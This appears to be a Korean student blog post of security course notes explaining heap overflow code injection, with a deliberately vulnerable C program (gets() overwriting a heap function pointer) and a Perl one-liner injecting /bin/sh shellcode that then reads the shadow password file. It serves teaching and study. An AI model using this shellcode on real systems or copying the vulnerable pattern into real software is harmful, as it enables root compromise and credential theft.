일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- sampling theory
- 유스케이스
- Unity #Indie Game
- pdlc
- 유니티
- Rr
- RBAC
- DSP
- DP
- CTF
- 메카님
- Race condition
- stride
- MLFQ
- 배경 그림
- dirty cow
- 게임 개발
- 언리얼엔진
- TSet
- dtft
- MAC
- STCF
- linear difference equation
- AINCAA
- 게임개발
- 운영체제
- frequency-domain spectrum analysis
- ret2libc
- Double free
- Security
Archives
- Today
- Total
다양한 기록
Heap Overflow with code injection 본문
Code-injection Attacks
- 컨트롤 하이재킹 어택의 서브클래스 .. 삽입된 악성 코드에 의해 의도된 컨트롤 플로우를 파괴
쉘코드
- 오버플로우되어 버퍼에 저장되는 경우가 많음
- 컨트롤을 쉘로 옮겨버림
- 기계어코드로 프로세서와 OS에 종속적
Heap Overflow
// Vulnerable heap overflow C code
typedef struct chunk
{
char inp[64];
void (*process)(char *)
} chunk_t;
void showlen(char *buf)
{
int len;
len = strlen(buf);
printf("buffer read %d chars\n", len);
}
int main(int argc, char *argv[])
{
chunk_t *next;
setbuf(stdin, NULL);
next = (chunk_t *)malloc(sizeof(chunk_t));
next->process = showlen;
printf("Enter value: ");
gets(next->inp);
next->process(next->inp);
printf("buffer done\n");
}
chunk에서 inp가 먼저 선언되어 있음 -> 힙이니까 inp가 더 아래로 가고 함수 포인터가 그 위임
=> 오버플로우로 덮어쓰기 가능
// Example heap overflow attack
$ cat attack
#!/bin/sh
# implment heap overflow against program buffer
perl -e 'print pack("H*",
"90909090909090909090909090909090" .
"9090eb1a5e31c08846078d1e895e0889" .
"460cb00b89f38d4e088d560ccd80e8e1" .
"ffffff2f62696e2f7368202020202020" .
"b89704080a");
print "whoami\n";
print "cat /etc/shaadow\n";'
$ attack | buffer
Enter value:
root <- 이 부분이 whoami ..
root:$1$??????$????????:13345:0:99999:7:::
.....
타겟 어드레스: 0x080497b8
inp 64바이트짜리니까 64바이트만큼 채우고
그 다음에 리틀 엔디안으로 b89704080 작성 (x86 아키텍처 기준)
'운영체제보안' 카테고리의 다른 글
Return-to-libc Attacks (Ret2Libc) / 실습 (0) | 2024.12.05 |
---|---|
Heap Overflow with code reuse (0) | 2024.12.05 |
Control Hijacking Attack (0) | 2024.12.05 |
BoF - Countermeasures & 파훼법 (0) | 2024.12.04 |
Shellcode (0) | 2024.12.04 |